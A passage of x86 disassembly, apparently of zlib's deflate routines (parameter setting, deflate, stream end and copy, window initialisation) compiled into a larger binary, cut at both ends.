[edx+18h], 0 loc_4BEA4A: ; CODE XREF: sub_4BE9C1+7Dj mov eax, [ebp+var_4] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 47h add ecx, 2Ah mov edx, [ebp+var_4] mov [edx+4], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+30h], 1 mov ecx, [ebp+var_4] mov dword ptr [ecx+20h], 0 mov edx, [ebp+var_4] push edx call sub_4C1960 add esp, 4 mov eax, [ebp+var_4] push eax call sub_4BF3A2 add esp, 4 xor eax, eax loc_4BEA8E: ; CODE XREF: sub_4BE9C1+2Aj mov esp, ebp pop ebp retn sub_4BE9C1 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov dword ptr [ebp-4], 0 cmp dword ptr [ebp+8], 0 jz short loc_4BEAAE mov eax, [ebp+8] cmp dword ptr [eax+1Ch], 0 jnz short loc_4BEAB8 loc_4BEAAE: ; CODE XREF: .text:004BEAA3j mov eax, 0FFFFFFFEh jmp loc_4BEBAA ; --------------------------------------------------------------------------- loc_4BEAB8: ; CODE XREF: .text:004BEAACj mov ecx, [ebp+8] mov edx, [ecx+1Ch] mov [ebp-8], edx cmp dword ptr [ebp+0Ch], 0FFFFFFFFh jnz short loc_4BEACE mov dword ptr [ebp+0Ch], 6 loc_4BEACE: ; CODE XREF: .text:004BEAC5j cmp dword ptr [ebp+0Ch], 0 jl short loc_4BEAE6 cmp dword ptr [ebp+0Ch], 9 jg short loc_4BEAE6 cmp dword ptr [ebp+10h], 0 jl short loc_4BEAE6 cmp dword ptr [ebp+10h], 2 jle short loc_4BEAF0 loc_4BEAE6: ; CODE XREF: .text:004BEAD2j ; .text:004BEAD8j ... mov eax, 0FFFFFFFEh jmp loc_4BEBAA ; --------------------------------------------------------------------------- loc_4BEAF0: ; CODE XREF: .text:004BEAE4j mov eax, [ebp-8] mov ecx, [eax+7Ch] imul ecx, 0Ch mov edx, off_4F1FE8[ecx] mov [ebp-0Ch], edx mov eax, [ebp+0Ch] imul eax, 0Ch mov ecx, [ebp-0Ch] cmp ecx, off_4F1FE8[eax] jz short loc_4BEB2D mov edx, [ebp+8] cmp dword ptr [edx+8], 0 jz short loc_4BEB2D push 1 mov eax, [ebp+8] push eax call sub_4BEBAE add esp, 8 mov [ebp-4], eax loc_4BEB2D: ; CODE XREF: .text:004BEB11j ; .text:004BEB1Aj mov ecx, [ebp-8] mov edx, [ecx+7Ch] cmp edx, [ebp+0Ch] jz short loc_4BEB9B mov eax, [ebp-8] mov ecx, [ebp+0Ch] mov [eax+7Ch], ecx mov edx, [ebp+0Ch] imul edx, 0Ch xor eax, eax mov ax, word_4F1FE2[edx] mov ecx, [ebp-8] mov [ecx+78h], eax mov edx, [ebp+0Ch] imul edx, 0Ch xor eax, eax mov ax, word_4F1FE0[edx] mov ecx, [ebp-8] mov [ecx+84h], eax mov edx, [ebp+0Ch] imul edx, 0Ch xor eax, eax mov ax, word_4F1FE4[edx] mov ecx, [ebp-8] mov [ecx+88h], eax mov edx, [ebp+0Ch] imul edx, 0Ch xor eax, eax mov ax, word_4F1FE6[edx] mov ecx, [ebp-8] mov [ecx+74h], eax loc_4BEB9B: ; CODE XREF: .text:004BEB36j mov edx, [ebp-8] mov eax, [ebp+10h] mov [edx+80h], eax mov eax, [ebp-4] loc_4BEBAA: ; CODE XREF: .text:004BEAB3j ; .text:004BEAEBj mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BEBAE proc near ; CODE XREF: .text:00490313p ; .text:004BEB22p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h cmp [ebp+arg_0], 0 jz short loc_4BEBCF mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jz short loc_4BEBCF cmp [ebp+arg_4], 4 jg short loc_4BEBCF cmp [ebp+arg_4], 0 jge short loc_4BEBD9 loc_4BEBCF: ; CODE XREF: sub_4BEBAE+Aj ; sub_4BEBAE+13j ... mov eax, 0FFFFFFFEh jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEBD9: ; CODE XREF: sub_4BEBAE+1Fj mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], 0 jz short loc_4BEC0E mov ecx, [ebp+arg_0] cmp dword ptr [ecx], 0 jnz short loc_4BEBFC mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4BEC0E loc_4BEBFC: ; CODE XREF: sub_4BEBAE+43j mov eax, [ebp+var_4] cmp dword ptr [eax+4], 29Ah jnz short loc_4BEC24 cmp [ebp+arg_4], 4 jz short loc_4BEC24 loc_4BEC0E: ; CODE XREF: sub_4BEBAE+3Bj ; sub_4BEBAE+4Cj mov ecx, [ebp+arg_0] mov edx, off_4EDE78 mov [ecx+18h], edx mov eax, 0FFFFFFFEh jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEC24: ; CODE XREF: sub_4BEBAE+58j ; sub_4BEBAE+5Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_4BEC43 mov ecx, [ebp+arg_0] mov edx, off_4EDE84 mov [ecx+18h], edx mov eax, 0FFFFFFFBh jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEC43: ; CODE XREF: sub_4BEBAE+7Dj mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] mov [eax], ecx mov edx, [ebp+var_4] mov eax, [edx+20h] mov [ebp+var_8], eax mov ecx, [ebp+var_4] mov edx, [ebp+arg_4] mov [ecx+20h], edx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 2Ah jnz loc_4BED31 mov ecx, [ebp+var_4] mov edx, [ecx+28h] sub edx, 8 shl edx, 4 add edx, 8 shl edx, 8 mov [ebp+var_C], edx mov eax, [ebp+var_4] mov ecx, [eax+7Ch] sub ecx, 1 sar ecx, 1 mov [ebp+var_10], ecx cmp [ebp+var_10], 3 jbe short loc_4BEC9A mov [ebp+var_10], 3 loc_4BEC9A: ; CODE XREF: sub_4BEBAE+E3j mov edx, [ebp+var_10] shl edx, 6 mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] cmp dword ptr [ecx+64h], 0 jz short loc_4BECBA mov edx, [ebp+var_C] or edx, 20h mov [ebp+var_C], edx loc_4BECBA: ; CODE XREF: sub_4BEBAE+101j mov eax, [ebp+var_C] xor edx, edx mov ecx, 1Fh div ecx mov eax, 1Fh sub eax, edx mov ecx, [ebp+var_C] add ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] mov dword ptr [edx+4], 71h mov eax, [ebp+var_C] push eax mov ecx, [ebp+var_4] push ecx call sub_4BEF30 add esp, 8 mov edx, [ebp+var_4] cmp dword ptr [edx+64h], 0 jz short loc_4BED27 mov eax, [ebp+arg_0] mov ecx, [eax+30h] shr ecx, 10h push ecx mov edx, [ebp+var_4] push edx call sub_4BEF30 add esp, 8 mov eax, [ebp+arg_0] mov ecx, [eax+30h] and ecx, 0FFFFh push ecx mov edx, [ebp+var_4] push edx call sub_4BEF30 add esp, 8 loc_4BED27: ; CODE XREF: sub_4BEBAE+148j mov eax, [ebp+arg_0] mov dword ptr [eax+30h], 1 loc_4BED31: ; CODE XREF: sub_4BEBAE+B6j mov ecx, [ebp+var_4] cmp dword ptr [ecx+14h], 0 jz short loc_4BED62 mov edx, [ebp+arg_0] push edx call sub_4BEF80 add esp, 4 mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_4BED60 mov ecx, [ebp+var_4] mov dword ptr [ecx+20h], 0FFFFFFFFh xor eax, eax jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BED60: ; CODE XREF: sub_4BEBAE+19Fj jmp short loc_4BED8F ; --------------------------------------------------------------------------- loc_4BED62: ; CODE XREF: sub_4BEBAE+18Aj mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jnz short loc_4BED8F mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jg short loc_4BED8F cmp [ebp+arg_4], 4 jz short loc_4BED8F mov ecx, [ebp+arg_0] mov edx, off_4EDE84 mov [ecx+18h], edx mov eax, 0FFFFFFFBh jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BED8F: ; CODE XREF: sub_4BEBAE:loc_4BED60j ; sub_4BEBAE+1BBj ... mov eax, [ebp+var_4] cmp dword ptr [eax+4], 29Ah jnz short loc_4BEDB9 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jz short loc_4BEDB9 mov edx, [ebp+arg_0] mov eax, off_4EDE84 mov [edx+18h], eax mov eax, 0FFFFFFFBh jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEDB9: ; CODE XREF: sub_4BEBAE+1EBj ; sub_4BEBAE+1F4j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4BEDE5 mov edx, [ebp+var_4] cmp dword ptr [edx+6Ch], 0 jnz short loc_4BEDE5 cmp [ebp+arg_4], 0 jz loc_4BEEC2 mov eax, [ebp+var_4] cmp dword ptr [eax+4], 29Ah jz loc_4BEEC2 loc_4BEDE5: ; CODE XREF: sub_4BEBAE+212j ; sub_4BEBAE+21Bj mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_4] mov ecx, [eax+7Ch] imul ecx, 0Ch call off_4F1FE8[ecx] add esp, 8 mov [ebp+var_14], eax cmp [ebp+var_14], 2 jz short loc_4BEE0E cmp [ebp+var_14], 3 jnz short loc_4BEE18 loc_4BEE0E: ; CODE XREF: sub_4BEBAE+258j mov edx, [ebp+var_4] mov dword ptr [edx+4], 29Ah loc_4BEE18: ; CODE XREF: sub_4BEBAE+25Ej cmp [ebp+var_14], 0 jz short loc_4BEE24 cmp [ebp+var_14], 2 jnz short loc_4BEE3E loc_4BEE24: ; CODE XREF: sub_4BEBAE+26Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+10h], 0 jnz short loc_4BEE37 mov ecx, [ebp+var_4] mov dword ptr [ecx+20h], 0FFFFFFFFh loc_4BEE37: ; CODE XREF: sub_4BEBAE+27Dj xor eax, eax jmp loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEE3E: ; CODE XREF: sub_4BEBAE+274j cmp [ebp+var_14], 1 jnz short loc_4BEEC2 cmp [ebp+arg_4], 1 jnz short loc_4BEE58 mov edx, [ebp+var_4] push edx call sub_4C1C03 add esp, 4 jmp short loc_4BEE9F ; --------------------------------------------------------------------------- loc_4BEE58: ; CODE XREF: sub_4BEBAE+29Aj push 0 push 0 push 0 mov eax, [ebp+var_4] push eax call sub_4C1AC4 add esp, 10h cmp [ebp+arg_4], 3 jnz short loc_4BEE9F mov ecx, [ebp+var_4] mov edx, [ecx+44h] mov eax, [ebp+var_4] mov ecx, [eax+3Ch] mov word ptr [ecx+edx*2-2], 0 mov edx, [ebp+var_4] mov eax, [edx+44h] lea ecx, [eax+eax-2] push ecx ; Size push 0 ; Val mov edx, [ebp+var_4] mov eax, [edx+3Ch] push eax ; Dst call _memset_0 add esp, 0Ch loc_4BEE9F: ; CODE XREF: sub_4BEBAE+2A8j ; sub_4BEBAE+2C0j mov ecx, [ebp+arg_0] push ecx call sub_4BEF80 add esp, 4 mov edx, [ebp+arg_0] cmp dword ptr [edx+10h], 0 jnz short loc_4BEEC2 mov eax, [ebp+var_4] mov dword ptr [eax+20h], 0FFFFFFFFh xor eax, eax jmp short loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEEC2: ; CODE XREF: sub_4BEBAE+221j ; sub_4BEBAE+231j ... cmp [ebp+arg_4], 4 jz short loc_4BEECC xor eax, eax jmp short loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEECC: ; CODE XREF: sub_4BEBAE+318j mov ecx, [ebp+var_4] cmp dword ptr [ecx+18h], 0 jz short loc_4BEEDC mov eax, 1 jmp short loc_4BEF2C ; --------------------------------------------------------------------------- loc_4BEEDC: ; CODE XREF: sub_4BEBAE+325j mov edx, [ebp+arg_0] mov eax, [edx+30h] shr eax, 10h push eax mov ecx, [ebp+var_4] push ecx call sub_4BEF30 add esp, 8 mov edx, [ebp+arg_0] mov eax, [edx+30h] and eax, 0FFFFh push eax mov ecx, [ebp+var_4] push ecx call sub_4BEF30 add esp, 8 mov edx, [ebp+arg_0] push edx call sub_4BEF80 add esp, 4 mov eax, [ebp+var_4] mov dword ptr [eax+18h], 0FFFFFFFFh mov ecx, [ebp+var_4] xor eax, eax cmp dword ptr [ecx+14h], 0 setz al loc_4BEF2C: ; CODE XREF: sub_4BEBAE+26j ; sub_4BEBAE+71j ... mov esp, ebp pop ebp retn sub_4BEBAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BEF30 proc near ; CODE XREF: sub_4BEBAE+139p ; sub_4BEBAE+158p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] shr eax, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov [edx+ecx], al mov edx, [ebp+arg_0] mov eax, [edx+14h] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+14h], eax mov edx, [ebp+arg_4] and edx, 0FFh mov eax, [ebp+arg_0] mov ecx, [eax+8] mov eax, [ebp+arg_0] mov eax, [eax+14h] mov [ecx+eax], dl mov ecx, [ebp+arg_0] mov edx, [ecx+14h] add edx, 1 mov eax, [ebp+arg_0] mov [eax+14h], edx pop ebp retn sub_4BEF30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BEF80 proc near ; CODE XREF: sub_4BEBAE+190p ; sub_4BEBAE+2F5p ... Size = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+14h] mov [ebp+Size], edx mov eax, [ebp+arg_0] mov ecx, [ebp+Size] cmp ecx, [eax+10h] jbe short loc_4BEFA4 mov edx, [ebp+arg_0] mov eax, [edx+10h] mov [ebp+Size], eax loc_4BEFA4: ; CODE XREF: sub_4BEF80+19j cmp [ebp+Size], 0 jnz short loc_4BEFAF jmp loc_4BF041 ; --------------------------------------------------------------------------- loc_4BEFAF: ; CODE XREF: sub_4BEF80+28j mov ecx, [ebp+Size] push ecx ; Size mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+10h] push ecx ; Src mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax ; Dst call _memcpy_1 add esp, 0Ch mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] add edx, [ebp+Size] mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+10h] add eax, [ebp+Size] mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov [edx+10h], eax mov eax, [ebp+arg_0] mov ecx, [eax+14h] add ecx, [ebp+Size] mov edx, [ebp+arg_0] mov [edx+14h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+10h] sub ecx, [ebp+Size] mov edx, [ebp+arg_0] mov [edx+10h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+14h] sub edx, [ebp+Size] mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov [ecx+14h], edx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+14h], 0 jnz short loc_4BF041 mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [edx+8] mov [ecx+10h], edx loc_4BF041: ; CODE XREF: sub_4BEF80+2Aj ; sub_4BEF80+ADj mov esp, ebp pop ebp retn sub_4BEF80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BF045 proc near ; CODE XREF: .text:0049033Fp ; sub_4BE535+278p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jz short loc_4BF058 mov eax, [ebp+arg_0] cmp dword ptr [eax+1Ch], 0 jnz short loc_4BF062 loc_4BF058: ; CODE XREF: sub_4BF045+8j mov eax, 0FFFFFFFEh jmp loc_4BF152 ; --------------------------------------------------------------------------- loc_4BF062: ; CODE XREF: sub_4BF045+11j mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+4] mov [ebp+var_4], eax cmp [ebp+var_4], 2Ah jz short loc_4BF08D cmp [ebp+var_4], 71h jz short loc_4BF08D cmp [ebp+var_4], 29Ah jz short loc_4BF08D mov eax, 0FFFFFFFEh jmp loc_4BF152 ; --------------------------------------------------------------------------- loc_4BF08D: ; CODE XREF: sub_4BF045+2Dj ; sub_4BF045+33j ... mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp dword ptr [edx+8], 0 jz short loc_4BF0B3 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+8] push edx mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+24h] add esp, 8 loc_4BF0B3: ; CODE XREF: sub_4BF045+52j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] cmp dword ptr [ecx+3Ch], 0 jz short loc_4BF0D9 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] mov ecx, [eax+3Ch] push ecx mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+24h] add esp, 8 loc_4BF0D9: ; CODE XREF: sub_4BF045+78j mov edx, [ebp+arg_0] mov eax, [edx+1Ch] cmp dword ptr [eax+38h], 0 jz short loc_4BF0FF mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] mov eax, [edx+38h] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+28h] push edx mov eax, [ebp+arg_0] call dword ptr [eax+24h] add esp, 8 loc_4BF0FF: ; CODE XREF: sub_4BF045+9Ej mov ecx, [ebp+arg_0] mov edx, [ecx+1Ch] cmp dword ptr [edx+30h], 0 jz short loc_4BF125 mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] mov edx, [ecx+30h] push edx mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_0] call dword ptr [edx+24h] add esp, 8 loc_4BF125: ; CODE XREF: sub_4BF045+C4j mov eax, [ebp+arg_0] mov ecx, [eax+1Ch] push ecx mov edx, [ebp+arg_0] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_0] call dword ptr [ecx+24h] add esp, 8 mov edx, [ebp+arg_0] mov dword ptr [edx+1Ch], 0 xor eax, eax cmp [ebp+var_4], 71h setnz al dec eax and al, 0FDh loc_4BF152: ; CODE XREF: sub_4BF045+18j ; sub_4BF045+43j mov esp, ebp pop ebp retn sub_4BF045 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi cmp dword ptr [ebp+0Ch], 0 jz short loc_4BF173 cmp dword ptr [ebp+8], 0 jz short loc_4BF173 mov eax, [ebp+0Ch] cmp dword ptr [eax+1Ch], 0 jnz short loc_4BF17D loc_4BF173: ; CODE XREF: .text:004BF162j ; .text:004BF168j mov eax, 0FFFFFFFEh jmp loc_4BF39C ; --------------------------------------------------------------------------- loc_4BF17D: ; CODE XREF: .text:004BF171j mov ecx, [ebp+0Ch] mov edx, [ecx+1Ch] mov [ebp-8], edx mov esi, [ebp+0Ch] mov ecx, 0Eh mov edi, [ebp+8] rep movsd push 16B8h push 1 mov eax, [ebp+8] mov ecx, [eax+28h] push ecx mov edx, [ebp+8] call dword ptr [edx+20h] add esp, 0Ch mov [ebp-0Ch], eax cmp dword ptr [ebp-0Ch], 0 jnz short loc_4BF1BD mov eax, 0FFFFFFFCh jmp loc_4BF39C ; --------------------------------------------------------------------------- loc_4BF1BD: ; CODE XREF: .text:004BF1B1j mov eax, [ebp+8] mov ecx, [ebp-0Ch] mov [eax+1Ch], ecx mov edi, [ebp-0Ch] mov esi, [ebp-8] mov ecx, 5AEh rep movsd mov edx, [ebp-0Ch] mov eax, [ebp+8] mov [edx], eax push 2 mov ecx, [ebp-0Ch] mov edx, [ecx+24h] push edx mov eax, [ebp+8] mov ecx, [eax+28h] push ecx mov edx, [ebp+8] call dword ptr [edx+20h] add esp, 0Ch mov ecx, [ebp-0Ch] mov [ecx+30h], eax push 2 mov edx, [ebp-0Ch] mov eax, [edx+24h] push eax mov ecx, [ebp+8] mov edx, [ecx+28h] push edx mov eax, [ebp+8] call dword ptr [eax+20h] add esp, 0Ch mov ecx, [ebp-0Ch] mov [ecx+38h], eax push 2 mov edx, [ebp-0Ch] mov eax, [edx+44h] push eax mov ecx, [ebp+8] mov edx, [ecx+28h] push edx mov eax, [ebp+8] call dword ptr [eax+20h] add esp, 0Ch mov ecx, [ebp-0Ch] mov [ecx+3Ch], eax push 4 mov edx, [ebp-0Ch] mov eax, [edx+1694h] push eax mov ecx, [ebp+8] mov edx, [ecx+28h] push edx mov eax, [ebp+8] call dword ptr [eax+20h] add esp, 0Ch mov [ebp-4], eax mov ecx, [ebp-0Ch] mov edx, [ebp-4] mov [ecx+8], edx mov eax, [ebp-0Ch] cmp dword ptr [eax+30h], 0 jz short loc_4BF284 mov ecx, [ebp-0Ch] cmp dword ptr [ecx+38h], 0 jz short loc_4BF284 mov edx, [ebp-0Ch] cmp dword ptr [edx+3Ch], 0 jz short loc_4BF284 mov eax, [ebp-0Ch] cmp dword ptr [eax+8], 0 jnz short loc_4BF29A loc_4BF284: ; CODE XREF: .text:004BF267j ; .text:004BF270j ... mov ecx, [ebp+8] push ecx call sub_4BF045 add esp, 4 mov eax, 0FFFFFFFCh jmp loc_4BF39C ; --------------------------------------------------------------------------- loc_4BF29A: ; CODE XREF: .text:004BF282j mov edx, [ebp-0Ch] mov eax, [edx+24h] shl eax, 1 push eax mov ecx, [ebp-8] mov edx, [ecx+30h] push edx mov eax, [ebp-0Ch] mov ecx, [eax+30h] push ecx call _memcpy_1 add esp, 0Ch mov edx, [ebp-0Ch] mov eax, [edx+24h] shl eax, 1 push eax mov ecx, [ebp-8] mov edx, [ecx+38h] push edx mov eax, [ebp-0Ch] mov ecx, [eax+38h] push ecx call _memcpy_1 add esp, 0Ch mov edx, [ebp-0Ch] mov eax, [edx+44h] shl eax, 1 push eax mov ecx, [ebp-8] mov edx, [ecx+3Ch] push edx mov eax, [ebp-0Ch] mov ecx, [eax+3Ch] push ecx call _memcpy_1 add esp, 0Ch mov edx, [ebp-0Ch] mov eax, [edx+0Ch] push eax mov ecx, [ebp-8] mov edx, [ecx+8] push edx mov eax, [ebp-0Ch] mov ecx, [eax+8] push ecx call _memcpy_1 add esp, 0Ch mov edx, [ebp-8] mov eax, [ebp-8] mov ecx, [edx+10h] sub ecx, [eax+8] mov edx, [ebp-0Ch] mov eax, [edx+8] add eax, ecx mov ecx, [ebp-0Ch] mov [ecx+10h], eax mov edx, [ebp-0Ch] mov eax, [edx+1694h] shr eax, 1 mov ecx, [ebp-4] lea edx, [ecx+eax*2] mov eax, [ebp-0Ch] mov [eax+169Ch], edx mov ecx, [ebp-0Ch] mov edx, [ecx+1694h] imul edx, 3 mov eax, [ebp-0Ch] mov ecx, [eax+8] add ecx, edx mov edx, [ebp-0Ch] mov [edx+1690h], ecx mov eax, [ebp-0Ch] add eax, 8Ch mov ecx, [ebp-0Ch] mov [ecx+0B10h], eax mov edx, [ebp-0Ch] add edx, 980h mov eax, [ebp-0Ch] mov [eax+0B1Ch], edx mov ecx, [ebp-0Ch] add ecx, 0A74h mov edx, [ebp-0Ch] mov [edx+0B28h], ecx xor eax, eax loc_4BF39C: ; CODE XREF: .text:004BF178j ; .text:004BF1B8j ... pop edi pop esi mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BF3A2 proc near ; CODE XREF: sub_4BE9C1+C3p arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [eax+24h] shl ecx, 1 mov edx, [ebp+arg_0] mov [edx+34h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+44h] mov edx, [ebp+arg_0] mov eax, [edx+3Ch] mov word ptr [eax+ecx*2-2], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] lea eax, [edx+edx-2] push eax ; Size push 0 ; Val mov ecx, [ebp+arg_0] mov edx, [ecx+3Ch] push edx ; Dst call _memset_0 add esp, 0Ch mov eax, [ebp+arg_0] mov ecx, [eax+7Ch] imul ecx, 0Ch xor edx, edx mov dx, word_4F1FE2[ecx] mov eax, [ebp+arg_0] mov [eax+78h], edx mov ecx, [ebp+arg_0] mov edx, [ecx+7Ch] imul edx, 0Ch xor eax, eax mov ax, word_4F1FE0[edx] mov ecx, [ebp+arg_0] mov [ecx+84h], eax mov edx, [ebp+arg_0] mov eax, [edx+7Ch] imul eax, 0Ch xor ecx, ecx mov cx, word_4F1FE4[eax] mov edx, [ebp+arg_0] mov [edx+88h], ecx mov eax, [ebp+arg_0] mov ecx, [eax+7Ch] imul ecx, 0Ch xor edx, edx mov dx, word_4F1FE6[ecx] mov eax, [ebp+arg_0] mov [eax+74h], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+64h], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+54h], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+6Ch], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+70h], 2 mov edx, [ebp+arg_0] mov dword ptr [edx+58h], 2 mov eax, [ebp+arg_0] mov dword ptr [eax+60h], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+40h], 0 pop ebp retn sub_4BF3A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4BF490 proc near ; CODE XREF: sub_4BEBAE+248p ; DATA XREF: .data:off_4F1FE8o var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov [ebp+var_4], 0FFFFh mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] sub ecx, 5 cmp [ebp+var_4], ecx jbe short loc_4BF4B7 mov edx, [ebp+arg_0] mov eax, [edx+0Ch] sub eax, 5 mov [ebp+var_4], eax loc_4BF4B7: ; CODE XREF: sub_4BF490+19j ; sub_4BF490:loc_4BF63Cj mov ecx, [ebp+arg_0] cmp dword ptr [ecx+6Ch], 1 ja short loc_4BF4F0 mov edx, [ebp+arg_0] push edx call sub_4BF6D0 add esp, 4 mov eax, [ebp+arg_0] cmp dword ptr [eax+6Ch], 0 jnz short loc_4BF4E2 cmp [ebp+arg_4], 0 jnz short loc_4BF4E2 xor eax, eax jmp loc_4BF6CC ; --------------------------------------------------------------------------- loc_4BF4E2: ; CODE XREF: sub_4BF490+43j ; sub_4BF490+49j mov ecx, [ebp+arg_0] cmp dword ptr [ecx+6Ch], 0 jnz short loc_4BF4F0 jmp loc_4BF641 ; --------------------------------------------------------------------------- loc_4BF4F0: ; CODE XREF: sub_4BF490+2Ej ; sub_4BF490+59j mov edx, [ebp+arg_0] mov eax, [edx+64h] mov ecx, [ebp+arg_0] add eax, [ecx+6Ch] mov edx, [ebp+arg_0] mov [edx+64h], eax mov eax, [ebp+arg_0] mov dword ptr [eax+6Ch], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+54h] add edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] cmp dword ptr [eax+64h], 0 jz short loc_4BF530 mov ecx, [ebp+arg_0] mov edx, [ecx+64h] cmp edx, [ebp+var_8] jb loc_4BF5B4 loc_4BF530: ; CODE XREF: sub_4BF490+8Fj mov eax, [ebp+arg_0] mov ecx, [eax+64h] sub ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov [edx+6Ch], ecx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+64h], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+54h], 0 jl short loc_4BF562 mov eax, [ebp+arg_0] mov ecx, [eax+30h] mov edx, [ebp+arg_0] add ecx, [edx+54h] mov [ebp+var_C], ecx jmp short loc_4BF569 ; --------------------------------------------------------------------------- loc_4BF562: ; CODE XREF: sub_4BF490+BFj mov [ebp+var_C], 0 loc_4BF569: ; CODE XREF: sub_4BF490+D0j push 0 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+64h] sub edx, [ecx+54h] push edx mov eax, [ebp+var_C] push eax mov ecx, [ebp+arg_0] push ecx call sub_4C20F2 add esp, 10h mov edx, [ebp+arg_0] mov eax, [ebp+arg_0] mov ecx, [eax+64h] mov [edx+54h], ecx mov edx, [ebp+arg_0] mov eax, [edx] push eax call sub_4BEF80 add esp, 4 mov ecx, [ebp+arg_0] mov edx, [ecx] cmp dword ptr [edx+10h], 0 jnz short loc_4BF5B4 xor eax, eax jmp loc_4BF6CC ; --------------------------------------------------------------------------- loc_4BF5B4: ; CODE XREF: sub_4BF490+9Aj ; sub_4BF490+11Bj mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+64h] sub edx, [ecx+54h] mov eax, [ebp+arg_0] mov ecx, [eax+24h] sub ecx, 106h cmp edx, ecx jb short loc_4BF63C mov edx, 